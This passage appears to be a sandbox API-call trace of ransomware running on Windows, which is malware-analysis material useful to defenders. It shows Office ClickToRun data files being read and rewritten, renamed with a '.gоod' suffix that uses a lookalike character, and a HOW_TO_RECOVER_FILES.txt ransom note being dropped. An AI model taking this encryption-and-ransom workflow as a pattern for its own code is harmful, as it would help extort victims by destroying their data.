"c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0086.575] GetFileType (hFile=0x79c) returned 0x1 [0086.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed7d0) returned 1 [0086.576] GetFileType (hFile=0x79c) returned 0x1 [0086.576] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbed9b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbed9b8*=0) returned 0x1000 [0086.576] ReadFile (in: hFile=0x79c, lpBuffer=0x339e9f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbed988, lpOverlapped=0x0 | out: lpBuffer=0x339e9f8*, lpNumberOfBytesRead=0x1fbed988*=0x1000, lpOverlapped=0x0) returned 1 [0086.577] CloseHandle (hObject=0x79c) returned 1 [0086.577] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x1fbed340, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", lpFilePart=0x0) returned 0x7a [0086.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed860) returned 1 [0086.577] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0086.577] GetFileType (hFile=0x79c) returned 0x1 [0086.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed7d0) returned 1 [0086.578] GetFileType (hFile=0x79c) returned 0x1 [0086.578] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbed9b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbed9b8*=0) returned 0x108693 [0086.578] WriteFile (in: hFile=0x79c, lpBuffer=0x339fd10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbed8a8, lpOverlapped=0x0 | out: lpBuffer=0x339fd10*, lpNumberOfBytesWritten=0x1fbed8a8*=0x10, lpOverlapped=0x0) returned 1 [0086.581] CloseHandle (hObject=0x79c) returned 1 [0086.581] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x1fbed340, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", lpFilePart=0x0) returned 0x7a [0086.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed860) returned 1 [0086.581] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0086.581] GetFileType (hFile=0x79c) returned 0x1 [0086.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed7d0) returned 1 [0086.581] GetFileType (hFile=0x79c) returned 0x1 [0086.581] ReadFile (in: hFile=0x79c, lpBuffer=0x33a2050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbed938, lpOverlapped=0x0 | out: lpBuffer=0x33a2050*, lpNumberOfBytesRead=0x1fbed938*=0x1000, lpOverlapped=0x0) returned 1 [0087.530] CloseHandle (hObject=0x79c) returned 1 [0087.530] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x1fbed340, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", lpFilePart=0x0) returned 0x7a [0087.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed860) returned 1 [0087.530] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0087.531] GetFileType (hFile=0x79c) returned 0x1 [0087.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed7d0) returned 1 [0087.531] GetFileType (hFile=0x79c) returned 0x1 [0087.531] WriteFile (in: hFile=0x79c, lpBuffer=0x3366468*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbed9e8, lpOverlapped=0x0 | out: lpBuffer=0x3366468*, lpNumberOfBytesWritten=0x1fbed9e8*=0x1010, lpOverlapped=0x0) returned 1 [0087.531] CloseHandle (hObject=0x79c) returned 1 [0087.531] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", nBufferLength=0x105, lpBuffer=0x1fbed490, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat", lpFilePart=0x0) returned 0x7a [0087.531] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fbed490, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat.gоod", lpFilePart=0x0) returned 0x7f [0087.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed920) returned 1 [0087.531] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fbeda00 | out: lpFileInformation=0x1fbeda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x113f8423, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x113f8423, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x30625903, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1086a3)) returned 1 [0087.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed8e0) returned 1 [0087.532] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\stream.x86.en-us.man.dat.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\stream.x86.en-us.man.dat.gоod")) returned 1 [0087.532] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbed600, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7a [0087.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedb20) returned 1 [0087.532] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\en-us.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\en-us.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x79c [0087.533] GetFileType (hFile=0x79c) returned 0x1 [0087.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeda90) returned 1 [0087.533] GetFileType (hFile=0x79c) returned 0x1 [0087.533] WriteFile (in: hFile=0x79c, lpBuffer=0x383b788*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbedbe8, lpOverlapped=0x0 | out: lpBuffer=0x383b788*, lpNumberOfBytesWritten=0x1fbedbe8*=0x5d0, lpOverlapped=0x0) returned 1 [0087.534] CloseHandle (hObject=0x79c) returned 1 [0087.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0087.535] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16", lpFilePart=0x0) returned 0x62 [0087.535] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0087.539] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.540] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0087.540] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0087.540] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0087.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0087.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0087.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0087.541] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16", lpFilePart=0x0) returned 0x62 [0087.541] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0087.542] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.542] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0087.542] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0087.543] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0087.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0087.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0087.543] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x1fbed490, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", lpFilePart=0x0) returned 0x7c [0087.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed960) returned 1 [0087.544] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x384bab8 | out: lpFileInformation=0x384bab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47)) returned 1 [0087.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed920) returned 1 [0087.545] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x1fbed340, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", lpFilePart=0x0) returned 0x7c [0087.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed860) returned 1 [0087.545] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0087.546] GetFileType (hFile=0x79c) returned 0x1 [0087.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed7d0) returned 1 [0087.546] GetFileType (hFile=0x79c) returned 0x1 [0087.546] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbed9b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbed9b8*=0) returned 0x1000 [0087.546] ReadFile (in: hFile=0x79c, lpBuffer=0x384c010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbed988, lpOverlapped=0x0 | out: lpBuffer=0x384c010*, lpNumberOfBytesRead=0x1fbed988*=0x1000, lpOverlapped=0x0) returned 1 [0087.547] CloseHandle (hObject=0x79c) returned 1 [0087.548] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x1fbed340, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", lpFilePart=0x0) returned 0x7c [0087.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed860) returned 1 [0087.548] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0087.548] GetFileType (hFile=0x79c) returned 0x1 [0087.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed7d0) returned 1 [0087.548] GetFileType (hFile=0x79c) returned 0x1 [0087.548] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbed9b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbed9b8*=0) returned 0x460b47 [0087.548] WriteFile (in: hFile=0x79c, lpBuffer=0x384d3a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbed8a8, lpOverlapped=0x0 | out: lpBuffer=0x384d3a0*, lpNumberOfBytesWritten=0x1fbed8a8*=0x10, lpOverlapped=0x0) returned 1 [0087.549] CloseHandle (hObject=0x79c) returned 1 [0087.550] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x1fbed340, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", lpFilePart=0x0) returned 0x7c [0087.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed860) returned 1 [0087.550] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0087.550] GetFileType (hFile=0x79c) returned 0x1 [0087.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed7d0) returned 1 [0087.550] GetFileType (hFile=0x79c) returned 0x1 [0087.550] ReadFile (in: hFile=0x79c, lpBuffer=0x384f718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbed938, lpOverlapped=0x0 | out: lpBuffer=0x384f718*, lpNumberOfBytesRead=0x1fbed938*=0x1000, lpOverlapped=0x0) returned 1 [0087.696] CloseHandle (hObject=0x79c) returned 1 [0087.696] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x1fbed340, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", lpFilePart=0x0) returned 0x7c [0087.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed860) returned 1 [0087.696] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0087.696] GetFileType (hFile=0x79c) returned 0x1 [0087.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed7d0) returned 1 [0087.696] GetFileType (hFile=0x79c) returned 0x1 [0087.696] WriteFile (in: hFile=0x79c, lpBuffer=0x319e960*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbed9e8, lpOverlapped=0x0 | out: lpBuffer=0x319e960*, lpNumberOfBytesWritten=0x1fbed9e8*=0x1010, lpOverlapped=0x0) returned 1 [0087.697] CloseHandle (hObject=0x79c) returned 1 [0087.697] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x1fbed490, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat", lpFilePart=0x0) returned 0x7c [0087.697] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fbed490, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat.gоod", lpFilePart=0x0) returned 0x81 [0087.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed920) returned 1 [0087.697] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fbeda00 | out: lpFileInformation=0x1fbeda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x307c9404, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x460b57)) returned 1 [0087.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed8e0) returned 1 [0087.697] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\a6a87302-92ae-41f2-ac52-73f5ee18259f\\x-none.16\\stream.x86.x-none.man.dat"), 